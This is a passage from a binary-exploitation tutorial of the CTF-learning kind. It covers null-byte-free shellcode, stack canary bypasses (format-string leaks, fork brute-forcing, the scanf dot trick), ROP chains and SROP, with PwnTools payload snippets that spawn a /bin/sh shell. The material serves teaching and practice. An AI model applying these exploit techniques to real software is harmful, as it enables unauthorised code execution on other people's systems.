48 c7 c0 09 00 00 00 48 ff c0
         ^^ safe
```

In the same way, many more small tricks like this exist. Like using `add`, `sub`, `xor` or `and`. It is a matter of being creative in getting values in the right place.

### `\0` null bytes

A very common bad char that you will encounter is the null byte, `0x00`. This 0 value is so commonly needed that there are some specific tricks to set zero values.

Firstly, simply **clearing a register**:

```asmatmel
xor rax, rax    ; xor'ing a register with itself will flip all the bits back to 0
--------
48 31 c0

sub rax, rax    ; subtract from itself, leaving 0
--------
48 29 c0
```

When setting other registers the instructions also often contain leading zeros to set a 64-bit value to 10 for example. In most cases, you can eliminate these leading zeros by simply using a 32-, 16-, or 8-bit value depending on the size of your value. In a previous example, we were setting `rax` to 10, but to make sure higher bits also are set back to 0 we needed to use a full 64-bit value in the assembled instruction (look at all the null bytes).

To solve this, we'll **set the 8-bit `al` register instead** (see [Assembly](/languages/assembly#registers) for more info):

```asmatmel
xor rax, rax   ; rax may contain anything, so clear everything first
mov al, 10     ; set the last 8 bits to 10
----------------
48 31 c0 b0 0a
            ^^ no nulls
```

Lastly, you might need zero-delimited strings that don't perfectly align with the 64, 32, 16, or 8 bits we did previously.

In these cases, either make the string **aligned** with these boundaries, intentionally **ending the payload** with the required null byte, or use **shifts** to get the exact string. Let's say we want the little-endian "/bin/sh" string into the `rdi` register:

{% code title="Align with bits" %}

```asmatmel
mov rdi, 0x68732f2f6e69622f  ; "/bin//sh", still works as path, but exactly 64 bits
-----------------------------
48 bf 2f 62 69 6e 2f 2f 73 68
```

{% endcode %}

{% code title="Bitshifting" %}

```asmatmel
mov rdi, 0x68732f6e69622fff  ; "//bin/sh"
shr rdi, 0x8                 ; shift right 8 bits to make "/bin/sh"
```

{% endcode %}

{% code title="End with null" %}

```asmatmel
_start:
        jmp binsh       ; create a pointer on stack to "/bin/sh"
back:
        pop rdi         ; take address from stack
        mov rdi, [rdi]  ; dereference pointer to get raw value
        ...
binsh:
        call back       ; pushes next instruction ("/bin/sh")
        .string "/bin/sh"
```

{% endcode %}


# Stack Canaries

Two protections that use a secret unpredictable value to reduce exploitability in memory corruption. Learn how to bypass them in certain scenarios

Stack Canaries

Stack buffer overflows where you overwrite the return pointer were such a big problem, that a mitigation called "Stack Canaries" was invented.

A stack canary is a reference to [canaries in a coal mine](https://en.wikipedia.org/wiki/Sentinel_species#Historical_examples). When a canary got sick, the miners would know it is unsafe here and stop mining. For a binary, it is the same idea: Right before the return address on the stack, a random value is placed. Then before actually returning at the `ret` (return) instruction, it checks if this random value is still the same. If it was overwritten by a buffer overflow, the value would change, and then the program would notice and exit before anything malicious can happen.

In more technical detail, every function has a *prologue* (start) and an *epilogue* (end). At the **start**, it does some common stuff like saving the `rbp` register, and making space on the stack by moving the `rsp` register. After that setup, if canaries are enabled, a random value from the kernel is taken and also put on the stack. That means in total, the process of calling a function will put 3 things on the stack:

1. **Stack Canary** - eg. `0xba3173dcf7fb7c00`
2. Base Pointer (`rbp`) - eg. `0x7fffffffd620`
3. Return Address - eg. `0x5555555552bf`

If we are overflowing the stack entire stack, we will first hit the Stack Canary, then the Base Pointer, and lastly the Return Address. This means that if we want to overwrite the return address we would also have to overwrite the canary with something.

Where this matters is at the **end** of the function, right before it calls `ret`. Here the program checks if the canary is still intact by comparing it with the kernel-provided value again. It does so by `xor`'ing the saved canary from the stack, with the actual value. If they match fully, the result should be 0 and it will successfully return. If it is not zero, however, the builtin `__stack_chk_fail()` function which immediately exits the program with a message

> ```
> *** stack smashing detected ***: terminated
> Aborted (core dumped)
> ```

The reason this works is that when overflowing everything up until the return point, you also have to overwrite the canary with something. As the attacker you don't know the value beforehand so you cannot write the correct value in this place again, meaning the stack check will fail and exit the program before reaching your `ret` to execute your exploit.

{% hint style="info" %}
**Tip:** To at any point view the canary of the current process in GDB GEF, simply use the `canary` command:

```clike
gef➤  canary
The canary of process 3139 is at 0x7ffff7dc4768, value is 0x3f4d8b4481a2c200
```

{% endhint %}

The ideas and examples explained here were taken from the [pwn.college - Stack Canaries](https://www.youtube.com/watch?v=55zWlEFflgE) video. Give their whole site a look if you're interested in learning practical and advanced Binary Exploitation while you're at it.

### Leaking the Canary

Now that you understand how the canary is supposed to protect against stack overflow, let's learn how to **break** it. Note however that a stack canary is a decently strong protection that often requires a whole another vulnerability in the program that is able to leak it.

#### Format String (`printf()`)

It all comes down to **reading the canary** through various methods. One simple way is using another arbitrary read vulnerability like a Format String exploit using `printf()`. If you have control over the *first* argument in this function, you can provide an arbitrary format string that prints more values than are provided in the arguments after. This causes more variables to be read from the stack and will eventually leak everything on there.

In this case, try providing an input like `%p %p %p %p %p %p %p %p %p %p %p %p`... to see a list of many hex values on the stack, for example:

{% code overflow="wrap" %}

```clike
0x7fff4f6f5b40 0xc8 0x7f5ea553b0ed (nil) 0x7f5ea56456a0 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) 0xee5bc5192e9ec700 0x7fff4f6f5c20 0x55e60b36c2b8
```

{% endcode %}

Here we see all the values on the stack, we just have to find which one is the canary. Luckily, they are pretty recognizable. **Look for 7 random bytes ending in a null byte**. In this case, 0xee5bc5192e9ec700 is definitely the stack canary because it looks very random, with a null-byte at the end (note that the null-byte is not *actually* at the end, but rather stored at the start because of the little-endian representation).

If you can exploit this vulnerability to read the canary first, and then dynamically prepare your stack overflow, you should carefully overwrite the location of this canary with your leaked value, and then also overwrite the return address with whatever your exploit needs. This makes the stack check at the end pass because it only notices a *changed* canary, not a rewritten one with the correct value.

#### Null-terminated Strings

Strings are very simple structures in C. No length is saved anywhere, it is stored completely raw in memory. The only way it knows where the string ends is by the **trailing** **null byte** (`\x00`). Printing any string in C will keep reading and printing that string until it reaches a null byte, and considers that the end of the string. This often works nicely when user input is put into a buffer and then a null byte is added to the end to delimit it. In some cases, however, this trailing null byte can be removed meaning it does not know where the string ends and just keeps reading.

One example is when you have a vulnerability that you overwrite a buffer that gets printed later. If it isn't null-terminated, you can write characters right up until the value on the stack you want to leak. If the string is then ever printed, it won't find a null byte at the end of your input and will keep reading, also including that secret value on the stack you place your input in front of. Let's look at an example:

```python
# Imagine the "13 37" bytes are the secret data we want to leak

# If we store "AAAA" before it, it might be terminated by leftover null bytes:
41 41 41 41 00 00 00 00 13 37
-> "AAAA"
# If we instead write data that overwrites all null bytes up until the secret:
41 41 41 41 41 41 41 41 13 37
-> "AAAAAAAA\x13\x37"
```

Here you can see how we were able to leak the secret bytes in memory. This idea works the same for stack canaries, we just have to overwrite all null bytes that come before it to make sure it is printed. One caveat is that the canary *itself* starts with a null byte for precisely this exploit idea. The creators gave up a whole byte of randomness to protect against this trick!

Luckily, however, not all hope is lost. Of course, we can also overwrite *its* null byte and just assume it was a null byte when we recreate it from the leak. This way the 7 random bytes are still printed, and we have leaked the canary.\
One slight problem with this is that while doing we are overwriting the canary, meaning the program would exit when this is checked at the end of a function. If we however can perform the leak and the stack overflow *without returning* we would exploit it just in time so the program never checks the canary.

In practice, the PwnTools code for doing this could look like this:

```python
# Overwrite until and including null byte
payload = b"A"*(size_until_canary+1)
p.sendline(payload)

p.recvuntil(b"You said: ")
p.recvuntil(payload)  # Receive the payload itself, we don't care about it
# The next coming bytes are the canary leak

# Receive them and add the null byte back
canary = u64(b"\x00" + p.recv(7))
success(f"Canary leak: {hex(canary)}")

payload = flat({
    # Rewrite the canary at the right place, now that we know it
    size_until_canary: canary,
    # 16 bytes after, comes regular the return address
    size_until_canary+16: WIN_FUNCTION,
})
```

{% hint style="info" %}
**Tip:** Leaks like these come in all shapes and sizes. If you can find any way to read more than you are supposed to, or read at an unexpected location, try reading and leaking the canary with it to bypass this protection.
{% endhint %}

{% hint style="warning" %}
The ideas mentioned here are very similar to everything you can do to leak an **ASLR**, **PIE,** or **Stack address**, which you may also need to leak in order to fully exploit a binary using ROP or shellcode
{% endhint %}

### (Smartly) Brute-Forcing the Canary

Brute-Forcing the canary sounds like a hard task, as there are way too many bytes in 64-bit machines to guess. There is however a smarter way you can guess if the canary stays the same for every guess in a certain situation.

A canary is **unique per process**. This means a parent process spawning a child (like `execve()`) will have a different canary value. A **`fork()`** however, is considered the **same process**! We can abuse this by allowing a forked version to crash, while another process with the same canary keeps running. The information for if it crashed or not can help us determine if a guess for the canary was correct, and when we know it is completely correct, we can exploit it fully without the canary changing. This idea of forking a process is common in a multithreaded socket server, which we can abuse as all threads will have the same canary.

<pre class="language-c"><code class="lang-c">int main() {
    char buf[16];  // Buffer is 16 long
    
    while (1) {
<strong>        if (fork()) { wait(0); }  // Fork spawns new thread, with same canary
</strong>        else { read(0, buf, 128); return; }  // We can overflow the buffer (128 > 16)
    }
}
</code></pre>

We know the first byte of the canary is always `\x00`. The idea here is to try to write all 256 possible bytes in the place of the *second byte* of the canary until one doesn't crash with `*** stack smashing detected ***`. Once we find it, we know the second byte of the canary and can include it in the write, then try all 256 bytes for the third position until one doesn't crash. We can keep going writing more and more of the canary until we have found all 7 secret bytes and we have leaked the real canary. Then we simply use this newfound canary in the stack overflow in order to overwrite it with the correct value and overwrite the return address.

The attempts will look something like this:

```c
input                   | canary
-------------------------------------------------
"AAAAAAAA"                00 c7 9e 2e 19 c5 5b ee
41 41 41 41 41 41 41 41 | 00 c7 9e 2e 19 c5 5b ee

"AAAAAAAA\x00\x00"        00 c7 9e 2e 19 c5 5b ee
41 41 41 41 41 41 41 41 | 00 00 9e 2e 19 c5 5b ee -> fail
"AAAAAAAA\x00\x01"        00 c7 9e 2e 19 c5 5b ee
41 41 41 41 41 41 41 41 | 00 01 9e 2e 19 c5 5b ee -> fail
...
"AAAAAAAA\x00\xc7"        00 c7 9e 2e 19 c5 5b ee
41 41 41 41 41 41 41 41 | 00 c7 9e 2e 19 c5 5b ee -> success!

"AAAAAAAA\x00\xc7\x00"    00 c7 9e 2e 19 c5 5b ee
41 41 41 41 41 41 41 41 | 00 c7 00 2e 19 c5 5b ee -> fail
"AAAAAAAA\x00\xc7\x01"    00 c7 9e 2e 19 c5 5b ee
41 41 41 41 41 41 41 41 | 00 c7 01 2e 19 c5 5b ee -> fail
...
"AAAAAAAA\x00\xc7\x9e"    00 c7 9e 2e 19 c5 5b ee
41 41 41 41 41 41 41 41 | 00 c7 9e 2e 19 c5 5b ee -> success!

...

"AAAAAAAA\x00\xc7\x9e\x2e\x19\xc5\x5b\xee"
41 41 41 41 41 41 41 41 | 00 c7 9e 2e 19 c5 5b ee -> success!
```

### Jumping over the Canary

The whole reason a canary is protecting the return address is that it comes *before* it in memory. Often in a stack buffer overflow, you have to overwrite all data that comes before the return address, including the canary. But in some specific cases, it may be possible to **write the saved return address directly**, skipping the canary and keeping it intact. This is very situational, but in various circumstances, you may find yourself able to perform an arbitrary write, or even simply skip a small part of memory that includes the canary, but not the return address.

One such example looks like this:

<pre class="language-c"><code class="lang-c">int main() {
    char buf[16];
    int i;    

    // Write 128 separate characters into too big of a buffer
    for (i = 0; i &#x3C; 128; i++) {
<strong>        read(0, buf+i, 1);  // Address is pointed to by `i`
</strong>    }
}
</code></pre>

This case might seem unexploitable until you realize that while overflowing the `buf` with your 17th character, it will end up overflowing into the local `i` variable. This variable will decide in the next iteration at what offset the rest of the data will be written, and will let you decide how much to jump by setting that 17th character.

In this case, you should find how far the return address is, and set `i` so that it directly jumps to it instead of writing over the canary. Then continue in the loop to write the desired return address your exploit needs.

#### Using `scanf()` - `"."`

The `scanf()` function allows a program to read data into a specific format, like strings, floats, or integers. You might be able to perform a stack overflow if the location `scanf()` is writing to is out of bounds, which can happen in a loop like this that goes too far:

```c
double buffer[20];
int n = 0;
double sum = 0;

printf("How many numbers do you want to add? ");
scanf("%d", &n);

for(int i = 0; i < n; i++) {
    printf("Number[%d]: ", i);
    scanf("%lf", &buffer[i]);
    sum += buffer[i];
}
printf("Your sum: %lf\n", s);
```

Adding more than 20 numbers overflows the buffer, but if a Stack Canary is enabled, you would normally first overwrite it instead of the return pointer. This is where the trick comes in, taken from ["scanf and the hateful dot"](https://rehex.ninja/posts/scanf-and-hateful-dot/). When your input to this `%lf` (double) variable is a single `.` dot, the variable is **not overwritten** and the execution continues like normal. Doing this right as you would overwrite the canary will skip it, and then you can overwrite the return pointer again with another double value.

<pre class="language-shellscript"><code class="lang-shellscript">How many numbers do you want to add? 22
Number[0]: 1
Number[1]: 1
...
<strong>Number[20]: .  # Stack Canary (skipped)
</strong>Number[21]: .  # RBP (skipped)
Number[22]: 12345678  # Return address
</code></pre>

When researching the reason this trick works, they found the following results:

<table><thead><tr><th width="391">Format</th><th>Skipped</th></tr></thead><tbody><tr><td><code>%d</code> (integer)</td><td><code>.</code> and <code>.5</code></td></tr><tr><td><code>%f</code> (float), <code>%lf</code> (double), <code>%Lf</code> (long double)</td><td>only <code>.</code></td></tr><tr><td><code>%x</code> (hex)</td><td>only <code>.</code></td></tr><tr><td><code>%s</code> (string)</td><td></td></tr></tbody></table>


# Return-Oriented Programming (ROP)

Return-Oriented Programming is a common technique for exploiting buffer overflows by executing gadgets to do what you want

The idea of ROP is pretty simple. With a buffer overflow, you can control the Instruction Pointer by overflowing the stack where it is stored, and then on a future return (`ret`) instruction it will pop that overwritten value from the stack and jump to it.

The trick is that, if we put multiple jump locations on the stack, we can keep `ret`urning to different tiny pieces of code. Each time, executing a few instructions we want before the next `ret` to keep the chain going. We can use ROP "gadgets" which are helpful pieces of code that help achieve greater things, like getting a shell by executing `/bin/sh`.

The concept is explained in more detail in [LiveOverflow's Return-Orientred Programming tutorial](https://www.youtube.com/watch?v=zaQVNM3or7k\&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN).

## Common ideas

A few common things that you'll encounter while creating your ROP chain.

### Getting values into registers

Since you control the stack, the easiest way to get a value into a register is by `pop`ing that value from the stack into that register. If you need 1337 in register `$rdi` for example, you could simply find a `pop rdi; ret` gadget and then append the 1337 value to your payload, which will pop it from the stack. For example:

```python
POP_RDI_GADGET = ...  # Find address using $ ropper -f ./binary --search 'pop rdi'

payload = flat({
    OFFSET: [
        POP_RDI_GADGET,  # pop rdi; ret
        1337,  # Value to be popped
        ...  # Rest of your chain now that $rdi = 1337
    ]
})
```

{% hint style="info" %}
If you have a simple ROP you can also let PwnTools find this gadget for you:

```python
rop = ROP(elf)  # Find ROP gadgets
rop(rdi=1337)  # Use any gadget to set $rdi = 1337
...

payload = flat({
    OFFSET: rop.chain()  # Create the chain of `ret`urns and `pop`s
})
```

{% endhint %}

If there aren't simple pop gadgets for the registers you need, you can also be creative with gadgets like `add`, `sub`, `xor`, etc. manually. An `xor ecx, ecx; ret` gadget for example would set `ecx` to 0. And using the arithmetic operators you can alter the value from what it was, to the value you want by adding the difference for example.

#### `rax` is the return value

One more useful trick for controlling the `rax` register specifically is the fact that it contains the return value of the last function call. The `read()` function for example returns the length of the input that was read. Or some calculating function that returns a value. This fact can be useful in choosing which syscall to execute, like [#execve-bin-sh](#execve-bin-sh "mention").

#### Getting lucky

The easiest way to get a value into a register is if that value is already in that register at the time of your ROP chain. Always check with a debug breakpoint what the registers are set to when your ROP chain executes, to see if you already have some usable values

### Calling functions

When you call a function from code, a few things happen in assembly. First, registers are set to their values as arguments to the function you are calling. Then, the program simply jumps to the address of the function which will take the values from the registers you set. Different architectures have different **call conventions**:

<figure><img src="/files/2yWZ7CQImVofjub70bMe" alt=""><figcaption><p>A table of the call convention for all 4 architectures (from <a href="https://syscall.sh/">syscall.sh</a>)</p></figcaption></figure>

If these registers are set to the values you want as arguments, you can just jump to the function you wish to call and those will be the arguments. If you for example wanted to call `call_me(1337)` on x64, you would need the following assembly:

```nasm
mov rdi, 1337   ; Prepare the ARG0 value for x64
jmp call_me     ; Jump straight to the function (in ROP you would `ret` to pop 
                ;                           the top stack value and jump to it)
```

{% hint style="warning" %}
Since we are using a `jmp` here instead of a clean `call`, sometimes the **stack** will get **misaligned** on 64-bit. When you notice that your exploit should work, but it segfaults during some calls and returns inside of the target function you might want to jump to an **empty `ret` instruction** to align the stack again.\
In PwnTools you can easily do this like so right before your call:

```renpy
rop.raw(rop.ret)
```

{% endhint %}

### Getting strings into registers

Many functions need strings as arguments, like the `system()` function or the `execve()` syscall, which both need "/bin/sh" as the first argument in order to spawn a shell. Strings are not passed by value, but passed by reference. This means we actually need to provide a pointer to the string as the argument, which needs to be somewhere in memory.

1. We need to get the string into memory
2. We need to know its location

There are a few ways to do it, but not a one-size-fits-all solution. It all depends on what is available in the binary.

#### Already stored in memory

If you're lucky, the string might already be stored in the binary. In libc for example, there exists a "/bin/sh" string that is often used for [ret2libc](/binary-exploitation/ret2libc). But you might need other strings that can be found in the binary.

Searching for the offsets for such strings is easy using the `grep` command in GDB GEF while running the binary:

```sh
gef➤  grep /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6'(0x7ffff7f42000-0x7ffff7f95000), permission=r--
  0x7ffff7f5d031 - 0x7ffff7f5d038  →   "/bin/sh"
```

{% hint style="warning" %}
If your target system has ASLR enabled, some locations like the libc library will be offset by a random value. So to use these you would first need to **leak** the library address and then use relative values to use your string again.\
But some addresses like the `.data` section are not randomized, even when ASLR is enabled. So if your desired string is stored in such a section you can always use it.
{% endhint %}

#### From the stack

In a buffer overflow attack, you overflow the stack with your own values to control return addresses, and maybe pop values into registers. But you may also be able to use this space to write your required strings into, and then just provide an address to the stack where your string is stored. This string can then be part of your payload, and so will reference itself.

You can easily get the location of your string on the stack by running the program and inputting your desired string into the payload, and then using the GDB GEF `grep` function from above to find where it is stored. This will then give you a location on the stack and you can then reference that location to get a pointer to any string in your payload.

Note that with ASLR, the stack address is randomized. This means that if ASLR is enabled, you will need to first leak a stack address and then use relative offsets from there to find your payload again.

#### Arbitrary write

Another method is to use an arbitrary write if you have one. Using ROP, or format string exploits you might be able to write data to memory. You can then slowly build out the string you require and then use the address to that location.

Often you can find some static read/write section where data may be written, without corrupting the program. All these sections and their addresses can be found using many tools, such as rabin2 from [radare2](https://rada.re/n/):

```shell-session
$ rabin2 -S ./binary
nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
...
23  0x00001050   0x22 0x00601050   0x22 -rw- .data
24  0x00001072    0x0 0x00601078   0x10 -rw- .bss
...
```

When searching for ROP gadgets to achieve this, you can use `mov` instructions that look like:

```shell-session
$ ropper -f write4 --search mov
...
0x0000000000400628: mov qword ptr [r14], r15; ret;
```

If you control both registers, you can write any value into any address, as an "arbitrary write". There are many different ways to achieve this and you can be creative with it. Then just write a few addresses after each other to form a full string.

### `execve('/bin/sh')`

`execve()` is a syscall, an instruction that only the kernel can execute. A program must use such a syscall to elevate its privileges from user mode temporarily and be able to execute these special instructions. There are two ways of doing this:

#### `syscall`

This instruction is **exclusive to 64-bit** and will use the `$rax` register to decide which syscall to execute. A table of all x64 syscalls with their arguments can be found here:

{% embed url="<https://x64.syscall.sh/>" %}
A table of all x64 (64-bit) syscalls with their arguments
{% endembed %}

There we can find `execve()` as number 59 or 0x3B, and also what its arguments mean:

```c
execve(char *filename = rdi, char *const *argv = rsi, char *const *envp = rdx)
```

In assembly, the following values should be set:

```nasm
mov rax, 0x3b         ; set rax to the syscall number for execve()
mov rdi, filename     ; set rdi to the address of the filename string
mov rsi, argv         ; set rsi to the address of the argument values array
mov rdx, envp         ; set rdx to the address of the environment variables array
syscall               ; invoke the syscall
```

Often we don't care about arguments, because we can just run `/bin/sh` without any. Then these extra `$rsi` and `$rdx` registers should be set to `0`.

#### `int 0x80`

On 32-bit architecture, the `syscall` instruction does not exist. During this time, a kernel call was done by issuing an `int` instruction. With `int 0x80` you can invoke a syscall just like we did on 64-bit. In some cases the compiler will still generate an `int 0x80` instruction even on 64-bit architecture so it should always be worth looking for regardless of architecture.

The list of syscalls 32-bit are a bit different and can be found here:

{% embed url="<https://x86.syscall.sh/>" %}
A table of all x86 (32-bit) syscalls with their arguments
{% endembed %}

There we can find `execve()` as number 11 or 0x0B, and its arguments are the same as for [#syscall](#syscall "mention") above. In assembly you should set the values like this (note the different registers):

```nasm
mov eax, 0x0b         ; set rax to the syscall number for execve()
mov ebx, filename     ; set ebx to the address of the filename string
mov ecx, argv         ; set rsi to the address of the argument values array
mov edx, envp         ; set rdx to the address of the environment variables array
int 0x80              ; invoke the syscall
```

### SROP

{% content-ref url="/pages/MbSAFP0tLsFpiOUHy01A" %}
[SigReturn-Oriented Programming (SROP)](/binary-exploitation/return-oriented-programming-rop/sigreturn-oriented-programming-srop)
{% endcontent-ref %}

### Bypassing badchars

"badchars" is the name for characters that the application does not allow. This may be newlines (`\x0A`), where it would send your payload before being done. Or null bytes (`\x00`) where it would terminate your string before being done. In some specific cases, this is more restricted, and you might need to pull out tricks to not use those banned characters.

If you are trying to inject `"/bin/sh"` in your payload for example, but the `/` slash is banned, then you can try to do it in more steps.\
If you first write `".cho.ri"`, without any `/` slash character, you can then later **XOR** the values with `\x01` to get back the original /bin/sh string. This will require any XOR gadget in the binary or any other similar instruction that allows you to alter the bytes of your payload. Some common ones are:

* `xor`: XOR and store in the first argument
* `add`: Add both together and store in the first argument
* `sub`: Subtract second from first, and store in first

These allow you to change the initial string you send in the payload, and then dynamically change it after it is stored in memory on the target.

## Ropper

[Ropper](https://github.com/sashs/Ropper) is a colorful CLI tool that can automatically find ROP gadgets (meaning small pieces of code before `ret`urns) for you that will be useful in creating a full chain. It will print all sorts of gadgets with the idea being that you search for what you need in the output. For example, if we want to find `xor` instructions:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ropper -f ./binary --search 'xor'
</strong>[INFO] Searching for gadgets: xor

[INFO] File: ./badchars
0x0000000000400628: xor byte ptr [r15], r14b; ret;
0x0000000000400629: xor byte ptr [rdi], dh; ret;
</code></pre>

To get a more flexible output, you can also just use `grep` on the tool's output with what we want:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ropper -f ./binary | grep rdi
</strong>0x000000000040062d: add byte ptr [rdi], dh; ret;
0x00000000004006a3: pop rdi; ret;
0x0000000000400631: sub byte ptr [rdi], dh; ret;
0x0000000000400629: xor byte ptr [rdi], dh; ret;
</code></pre>

{% hint style="warning" %}
`ropper` may find different gadgets than [`ROPgadget`](https://github.com/JonathanSalwan/ROPgadget), which is a similar tool that also finds gadgets, but may find different specific ones that are more useful:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ROPgadget --binary binary | grep rdi
</strong>0x000000000040062d : add byte ptr [rdi], dh ; ret
0x00000000004006a3 : pop rdi ; ret
0x0000000000400631 : sub byte ptr [rdi], dh ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret
</code></pre>

{% endhint %}

Ropper can even try to find a full chain for you. One example is the `execve('/bin/sh', 0, 0)` syscall, which can be automatically generated if everything required exists (note that it generated Python2 code):

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ropper -f /bin/bash --chain execve
</strong>...
[INFO] generating rop chain
...
rop += rebase_0(0x0000000000030a9f) # 0x0000000000030a9f: pop r12; ret;
rop += '//bin/sh'
rop += rebase_0(0x0000000000030503) # 0x0000000000030503: pop rbp; ret;
rop += rebase_0(0x0000000000119000)
rop += rebase_0(0x0000000000080ea9) # 0x0000000000080ea9: mov qword ptr [rbp], r12; pop rbx; xor eax, eax; pop rbp; pop r12; ret;
...
rop += rebase_0(0x0000000000030392) # 0x0000000000030392: syscall;
print rop
[INFO] rop chain generated!
</code></pre>

## PwnTools

I highly recommend using as much PwnTools magic as you can. It can significantly simplify your payload, and using `print(rop.dump())` you can still understand what it is trying to do to debug. Many times things like settings registers or calling functions are tedious, but with `ROP` it's a breeze.

{% hint style="info" %}
For more general PwnTools syntax, see [PwnTools](/binary-exploitation/pwntools#useful-syntax)\
For more `ROP` specific syntax, see [the documentation](https://docs.pwntools.com/en/stable/rop/rop.html).
{% endhint %}

```python
elf = ELF("./binary")

# Basics
rop = ROP(elf)
rop.call(0x401337)  # Jump to specific address
rop.call("name")  # Jump to function "name()"
rop.raw(b"\x00"*8)  # Add raw data to the ROP chain

# Automagic
rop.callme(1337)  # Call callme() function in the binary with 1337 argument
rop.call(rop.ret)  # Find and call a `ret` (return) instruction (useful for aligning the stack)
rop(rax=0xdead, rdi=0xbeef, rsi=0xcafe)  # Set registers
bin_sh = next(elf.search(b"/bin/sh\x00"))  # Search for string (returns address)

# Chain the payload into one
rop.chain()
# Dump details about the chain
print(rop.dump())
```

## `rabin2`

`rabin2` from [radare2 ](https://rada.re/n/)is a CLI tool that can analyze a binary for you. It has a lot of different options for useful information while planning your ROP exploits.

```shell-session
rabin2 [OPTIONS...] ./binary
```

* `-i`: Show functions
* `-z`: Show strings in `.data` section
* `-s`: Show all symbols
* `-S`: Show sections (with addresses)


# SigReturn-Oriented Programming (SROP)

A special technique in ROP to set all registers only using a syscall

To understand the basics of SROP, read the following pages:

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop>" %}
A short description of SROP
{% endembed %}

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop>" %}
Exploitation of SROP in a simple binary
{% endembed %}

The above example has the requirement of a `"/bin/sh"` string already being present in the binary. Still, with a bit more complexity you can eliminate this requirement and execute your own shellcode. This technique is taken from the following writeup:

{% embed url="<https://hackmd.io/@imth/SROP>" %}
Using SROP to make memory rwx, writing shellcode, and finally executing it
{% endembed %}

## Description

SROP stands for SigReturn-Oriented Programming. This may sound like a completely different technique, but if you already know the basics of [Return-Oriented Programming (ROP)](/binary-exploitation/return-oriented-programming-rop), it's simply a helpful gadget that exists in most binaries.

It utilizes the `rt_sigreturn` syscall, normally reserved for returning from the signal handler. It allows the program to reset the state of all registers, taking a **sigreturn frame** of around 300 bytes from the stack containing all the values. The idea of SROP is to abuse this and write our own sigreturn frame on the stack since we have control over it, and then only call the `rt_sigreturn` syscall to pop all the values into the registers. This way no more `pop; ret` gadgets are needed for your registers, as you can set them **all at once**.

{% hint style="info" %}
SROP bypasses ASLR (Address Space Layout Randomization) because it does not use any GOT, PLT, or libraries. But it does not bypass PIE (Position Independent Executable) because we require the gadgets in the executable code
{% endhint %}

### Requirements

* [ ] 300+ bytes input
* [ ] `syscall` gadget
* [ ] set `rax` gadget

### PwnTools

Of course, [PwnTools](/binary-exploitation/pwntools) already has a class that can generate these frames for us, so we don't have to remember the whole layout. On it, we can simply set registers as attributes and unfilled registers will default to 0:

```renpy
frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve()
frame.rdi = BINSH           # pointer to "/bin/sh"
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL         # `syscall` gadget
print(bytes(frame))  # b'\x00\x00\x00\x00\x00\x00\x00\x00...' (248 bytes)
```

When the `rt_sigreturn` syscall is called, these bytes on the top of the stack will represent the sigreturn frame. So in a simple ROP chain where you control the `rax` register to choose the syscall you want to perform, simply set it to 15 ([source](https://x64.syscall.sh/)) and jump to a `syscall` instruction gadget.

```renpy
rop = ROP(elf)
rop.rt_sigreturn()  # Let PwnTools find it, otherwise set rax=15 and `syscall`
rop.raw(frame)  # Add sigreturn frame to set registers

payload = flat({
    OFFSET: rop.chain()
})
```

## Exploitation

This will cover a generic scenario, where there aren't many gadgets available for a ROP chain, so it can be applied in multiple situations of SROP. This will assume

### Calling `sigreturn`

The first thing required for SROP is of course being able to perform its syscall. This is done in two steps:

1. Set the `rax` register to 15 (`0xf`)
2. Jump to `syscall`

There are many ways to set `rax=15`, the easiest being a `pop rax; ret` gadget where we simply provide the value 15 on the stack in our input. See [Return-Oriented Programming (ROP)](/binary-exploitation/return-oriented-programming-rop#getting-values-into-registers) for more complex ideas.

After that is set, you just need to jump to a `syscall`. This gadget does not even need a `ret` instruction afterward, because we keep controlling the RIP anyways due to setting all the registers with sigreturn. You can easily find such a gadget with ropper or ROPgadget:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ropper -f ./binary --search "syscall"
</strong>0x0000000000401014: syscall; 
0x0000000000401014: syscall; ret;

<strong>$ ROPgadget --binary ./binary | grep "syscall"
</strong>...
0x0000000000401014 : syscall
</code></pre>

PwnTools can also find these:

<pre class="language-renpy"><code class="lang-renpy"><strong>SYSCALL = rop.find_gadget(["syscall"])[0]
</strong>print(hex(SYSCALL))  # 0x401014
</code></pre>

Then simply combine these into the first ROP chain:

```renpy
rop = ROP(elf)
rop.rax = 15  # Let PwnTools find a `pop rax; ret` gadget and use it
rop.call(SYSCALL)  # Jump to syscall at `ret`

payload = flat({
    OFFSET: rop.chain()
})
```

When we trigger this right now, it will do the `sigreturn` syscall, and try to get the sigreturn frame from the stack, but we haven't provided one yet. So it will just set all the registers to random values on the stack. The next step is providing these values ourselves to control all registers.

### Creating a sigreturn frame

PwnTools makes it easy to create a sigreturn frame and control all registers. Now the question remains, **what do we set them to?** One idea is to do another syscall, but with arguments now that we have control over the `rdi`, `rsi`, etc. registers. In the lucky case that there is already a "/bin/sh" string contained in your binary at a known address, you can simply do `execve("/bin/sh", 0, 0)` to start a shell. See the example `SigreturnFrame()` above.

More often than not, this string is absent in the binary. This does not mean however that it is impossible to get a shell, as there are many other ways. We could write our own "/bin/sh" string into the memory somehow, or use shellcode instead. We'll go with shellcode here as it doesn't rely on any other gadgets.

